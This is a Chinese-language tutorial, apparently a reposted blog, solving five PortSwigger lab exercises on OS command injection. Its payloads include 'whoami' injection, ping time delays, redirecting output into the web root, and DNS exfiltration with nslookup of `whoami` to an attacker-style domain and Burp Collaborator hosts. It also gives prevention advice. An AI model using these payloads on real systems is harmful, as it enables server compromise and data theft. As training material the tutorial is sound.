【BP靶场portswigger-服务端4】操作系统命令注入-5个实验(全)

news2024/11/15 8:59:08

目录

一、操作系统命令注入

1、意义

2、有用的命令

3、注入操作系统命令的方式

4、防止操作系统命令注入攻击

二、执行任意命令

1、示例:

        实验1:操作系统命令注入(简单)

三、盲操作系统命令注入漏洞

1、简述

2、示例

3、使用时间延迟检测盲OS命令注入

        实验2:具有时延的操作系统命令盲注入

4、通过重定向输出利用盲目操作系统命令注入

        实验3:带有输出重定向的盲操作系统命令注入

5、利用带外(OAST)技术

        实验4:具有带外交互的盲OS命令注入

        实验5:具有带外数据泄漏的盲操作系统命令注入


一、操作系统命令注入

1、意义

1、简述:操作系统命令注入(也称为外壳注入)是一个Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令

2、危害:通常会完全危害应用程序及其所有数据,攻击者可以利用操作系统命令注入漏洞来危害托管基础架构的其他部分,利用信任关系将攻击转向组织内的其他系统。
 


2、有用的命令

识别操作系统命令注入漏洞后,执行一些初始命令以获取有关已受损系统的信息
一些在Linux和Windows平台上有用的命令的摘要: 

命令的目的 	   Linux操作系统   Windows
当前用户的名称   whoami 	       whoami
操作系统 	   uname -a 	   ver
网络配置 	   ifconfig 	   ipconfig /all
网络连接 	   netstat -an 	   netstat -an
运行进程 	   ps -ef 	       tasklist 

3、注入操作系统命令的方式

1、简述:

各种外壳元字符可用于执行操作系统命令注入攻击,许多字符用作命令分隔符,允许将命令链接在一起

1、以下命令分隔符在基于Windows和基于Unix的系统上都有效:
    &
    &&
    |
    ||

2、以下命令分隔符仅适用于基于Unix的系统:
    ;
    换行符(0x0a或\n)

3、在基于Unix的系统上,您还可以使用反勾号或美元字符在原始命令中执行插入命令的内联执行:

    '
    注入命令'
    $(插入命令)

————

2、分析观察

不同的shell元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否有效,以及它们是否允许带内检索命令输出,还是只对盲目利用有用

有时,控制的输入出现在原始命令的引号内。在这种情况下,在使用合适的shell元字符插入新命令之前,需要终止加引号的上下文(使用"或')


4、防止操作系统命令注入攻击

防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令(在每种情况下,都有使用更安全的平台API实现所需功能的替代方法)

如果使用用户提供的输入调用OS命令是不可避免的,则必须执行强输入验证:
    1、根据允许值的白名单进行验证。
    2、验证输入是否为数字。
    3、验证输入是否仅包含字母数字字符,而不包含其他语法或空白。
    4、不要试图通过转义shell元字符来清理输入(非常容易出错,且容易被熟练的攻击者绕过)



二、执行任意命令

1、示例:

1、一个购物应用程序:

允许用户查看某个商品在特定商店中是否有库存

可通过以下URL:
https://insecure-website.com/stockStatus?productID=381&storeID=29


 

2、需查询其他系统:

提供股票信息,应用程序必须查询各种遗留系统。该功能是通过调用shell命令并将产品和商店ID作为参数来实现,如
stockreport.pl 381 29(此命令输出指定项目的库存状态,并返回给用户)

------
攻击者:
如果应用程序未实现针对操作系统命令注入的防御措施,攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &

如果此输入在产品ID参数,则应用程序执行的命令为:
stockreport.pl & echo aiwefwlguh & 29


将附加命令分隔符&放置在插入的命令之后,结合echo命令输出回显,这是测试某些类型的操作系统命令注入的有用方法,降低了阻止执行注入命令的可能性(&字符是shell命令分隔符,因此执行的是三个独立的命令)

返回给用户的输出为:
Error - productID was not provided    (stockreport.pl执行时未使用预期参数,返回错误提示)
aiwefwlguh                (执行注入的echo命令,并输出)
29: command not found     (参数29作为命令执行,导致错误)

涉及实验:
实验1:操作系统命令注入(简单)

实验1:操作系统命令注入(简单)

part1:

使用Burp Suite拦截和修改检查库存水平的请求


part2:

发送到repeater

修改storeID参数(带入一个命令)

1|whoami


part3:

修改数据包,并关闭拦截



三、盲操作系统命令注入漏洞

1、简述

许多操作系统命令注入实例都是隐蔽漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲漏洞仍然可以被利用,但需要不同的技术


2、示例

一个网站允许用户提交有关该网站的反馈。用户输入他们的电子邮件地址和反馈信息,服务器端应用程序向站点管理员生成包含反馈的电子邮件

————

它将调用邮件程序,其中包含提交的详细信息,如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

————

mail命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo有效负载不会有效。在这种情况下,可以使用各种其他技术来检测和利用漏洞
 


3、使用时间延迟检测盲OS命令注入

1、可以使用将触发时间延迟的注入命令,从而根据应用程序响应所需的时间来确认命令是否已执行

————

2、ping命令是一种有效的方法,因为它允许您指定要发送的ICMP数据包的数量,从而指定命令运行所需的时间:

& ping -c 10 127.0.0.1 &

此命令将使应用程序ping其环回网络适配器10秒。

————

涉及实验:
实验2:具有时延的操作系统命令盲注入

实验2:具有时延的操作系统命令盲注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

发送到repeater

修改email参数

email=x||ping+-c+10+127.0.0.1||

观察响应,时间基本上为10s,存在系统命令注入


part3:

修改数据包,并关闭拦截

等10s后刷新一下页面,就完成了


4、通过重定向输出利用盲目操作系统命令注入

1、可以将注入命令的输出重定向到Web根目录中的文件中,然后可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami > /var/www/static/whoami.txt &
(学过Linux的应该都会这些命令)

2、解释:>字符发送来自whoami命令添加到指定文件(这里是输出到whoami.txt,没有就自动创建)。然后可以使用浏览器获取https://vulnerable-website.com/whoami.txt以检索文件,并查看插入命令的输出。 


涉及实验:
实验3:带有输出重定向的盲操作系统命令注入

 

实验3:带有输出重定向的盲操作系统命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


part2:

发送到repeater

修改email参数

email=||whoami>/var/www/images/output.txt||

 在数据包中修改,并关闭拦截


part3:

通过filename参数文件包含,读取输出到output.txt文件的信息

filename=output.txt

第三个数据包(老演员了)

 发送到repeater

 在数据包中修改,并关闭拦截

 

5、利用带外(OAST)技术

1、简述:

可以使用一个注入命令,该命令将触发与您使用OAST技术控制的系统的带外网络交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视指定查找的发生,从而检测到命令已成功插入。 


2、带外通道还提供了一种从注入命令中提取输出的简单方法:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将导致对攻击者的域进行DNS查找,该域包含whoami命令:

wwwuser.kgji2ohoyw.web-attacker.com

2、涉及实验:
实验4:具有带外交互的盲OS命令注入

实验5:具有带外数据泄漏的盲操作系统命令注入


实验4:具有带外交互的盲OS命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


 part2:

打开BP的Collaborator客户端

复制服务器URL(这个是我的BP的提供的服务器)

4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net

 


part3:

发送到repeater

修改email参数,将其更改为:

email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+4injhpna543tc1766dwv1466ux0noc.burpcollaborator.net||

 


part4:

修改数据包,并关闭拦截

实验5:具有带外数据泄漏的盲操作系统命令注入

part1:

填写反馈信息

使用Burp Suite拦截和修改提交反馈的请求


 part2:

打开BP的Collaborator客户端

复制服务器URL(这个是我的BP的提供的服务器)

fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net

 


part3:

发送到repeater

修改email参数,将其更改为:

email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
我的是:
email=x||nslookup+`whoami`.fl45n2ug5x4nmill7s67s7u7jypodd.burpcollaborator.net||

 


part4:

修改数据包,并关闭拦截

 


part5:

完成实验

我的用户peter-WKvUPX

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/131315.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring Cloud 2022.0.0正式发布:OpenFeign稳得很全面迈向GraalVM

本文已被https://yourbatman.cn收录;女娲Knife-Initializr工程可公开访问啦;程序员专用网盘https://wangpan.yourbatman.cn;技术专栏源代码大本营:https://github.com/yourbatman/tech-column-learning;公号后台回复“…

Vector在CANdb++中关于XCP和应用报文的定义

Vector DBC规则 前文讲解了dbc有关的属性定义与编辑,本文描述在开发过程中关于XCP和应用报文有关的规则说明,方便开发人员正确配置和代码生成所需的属性及其值。 关联文章: dbc的属性定义:dbc的属性定义 Vector DBC属性定义规则:Vector DBC属性定义规则 DBC编辑问题——…

我理解的proc伪文件系统

一.概念 提供可以动态操作Linux内核信息的接口,实现内核空间与用户空间进行数据交换的途径。 二.观察文件内容 //crtlaltt 快速打开Linux终端 //输入一下内容 cd /proc //进入proc文件夹 ls //观察proc文件夹下的内容 cd 2414 //任意打开一个带数字的文件…

【问题解决】解决xshell7会话窗口只能显示一个的问题

这恐怕会成为最短的一篇文章 问题复现 打开多个终端,最终只显示最后一个 如上图: 再打开一个192.168.1.42 ,会覆盖掉1.41,终端上先显示最后打开的那个终端。 想要解决xshell7会话窗口只能显示一个的问题,我们只需要…

日志系统:一条SQL更新语句是如何执行的?

前面我们系统了解了一个查询语句的执行流程,并介绍了执行过程中涉及的处理模块。相信你还记得,一条查询语句的执行过程一般是经过连接器、分析器、优化器、执行器等功能模块,最后到达存储引擎。 那么,一条更新语句的执行流程又是怎样的呢? 之前你可能经常听 DBA 同事说,…

怎么判定自己的账号有没有被限流?短视频运营推广学习日记

短视频运营推广学习日记 今天开始记录自己的学习过程,今天的内容是,怎么知道自己的账号有没有被限流?对比了几个方法,还是我赢的内容比较正常,限流主要是两种方式:作品限流和账号限流 作品限流&#xff1…

开发第一天

首先下载Binary Editor: https://www.vcraft.jp/soft/bz.html 如图所示,点击下载: 下载后解压,在同一个盘下创建文件夹取名为OSASK,启动Bz.exe程序并输入: 需要复制很多的0,一直到168000这个地址,得到的文件命名为he…

(九) DockerFile

DockerFile一、概述二、DockerFile构建过程2.1、Dockerfile内容基础知识2.2、Docker执行Dockerfile的大致流程2.3、小总结三、DockerFile常用保留字指令四、实操案例4.1、要求Centos7镜像具备vimifconfigjdk84.2、编写4.3、Build构建镜像4.4、虚悬镜像一、概述 Dockerfile是用来…

C++18 -- 虚析构函数构成多态、纯虚函数、抽象类、虚继承

多态的条件: 1)覆盖 2)基类的指针或者引用 虚表的运行原理: 一、多态的特例 – 虚析构函数构成多态 类有指针作为数据成员,必须要写析构函数,如果当前类被继承了,则析构函数写成virtual&#…

四旋翼无人机学习第19节--allgero的板框导入,网表导入

文章目录1 板框导入2 网表导入3 颜色修改4 修改快捷键1 板框导入 1、板框可以在小马哥课程中获取哦。 课程地址:使用Cadence17.2 OrCAD Allegro绘制小马哥DragonFly四轴飞行器 2、下载得到文件,然后用CAD软件查看DXF文件,出现弹框点击是即可(文件只读)。…

科研小白如何做好科研(内附一些科研实用工具)

目录 前言 一、了解自己的研究方向 1、知其然并知其所以然 2、那如何做到呢? 二、拥有良好的科研素养 1、多读文献 2、夯实基础,搞清原理 3、不断学习,擅于总结 4、团队协作,勤沟通,多交流 三、掌握一些…

RHCEansible静态主机清单

首先要做好免密登录 RHCEansible虚拟机初始化配置,ansible配置和安装_无所不知的神奇海螺的博客-CSDN博客 添加主机组 [rootserver ~]# vim /etc/ansible/hosts 或者 测试 [rootserver ~]# ansible node1 -m command -a hostname --- 引号里的是想要受控主机执行的…

Dell inspiron 5488加装硬盘SSD

机械盘真心便宜, 当数据盘很合适。 ———— 我是装双系统, 希望速度快! 我就装了一个SSD, STAT接口的, 和机械盘盒一样尺寸, 接口都是SATA, 我买的三星860EVO, 500G&…

I06-python菜鸟教程查漏补缺

学习链接:Python3 教程 | 菜鸟教程 目录 1.基础知识 2.字符串 1.基础知识 多行语句:复数类型: 复数由实数部分和虚数部分构成,可以用 a bj,或者 complex(a,b) 表示, 复数的实部 a 和虚部 b 都是浮点型…

项目的生命周期

0、Preface/Foreword PLM:Product Lifecycle Management System,产品生命周期管理;可以在公司内部或者多个公司之间对于产品研发协同办公,集成与产品相关的人力资源,流程、应用系统和信息,用于支持产品全生命周期的信息创建、管理、分发和应用。 1、硬件产品开发流程 立…

2022年下半年信息系统项目管理师综合知识真题及答案21-40

21、关于项目论证、项目评估目的和作用的描述,不正确的是:()。 A.项目论证应围绕市场需求、开发技术、财务经济三个方面开展 B.项目论证的作用是审查可行性研究的可靠性、真实性和客观性 C.项目…

Java8 - Streams map()

文章目录概述Case 1 : A List of Strings to UppercaseCase 2 : List of objects -> List of StringCase 3 : List of objects -> List of other objectsTest概述 Stream.map()是Stream最常用的一个转换方法,它把一个Stream转换为另一个Stream map()方法用于…

网络安全人才市场需求调研

声明 本文是学习2022网络安全人才市场状况研究报告. 下载地址而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 网络安全人才市场需求调研 为了更好地了解网络安全人才市场能力需求情况,我们通过调研问卷对网络安全人才就业市场不同方向的十…

Jetson nano 入手系列之1—如何SSH远程登录

Jetson nano 入手系列之1— 如何SSH远程登录方法1.windows与jetson nano使用同一个网络方法2.windows与jetson nano使用网线连接参考文献本文使用的windows平台来ssh远程登录jetson nano,这里提供两种方法。方法1.windows与jetson nano使用同一个网络 使用同一个网络…

二氧化碳捕获和电化学转化(Python代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…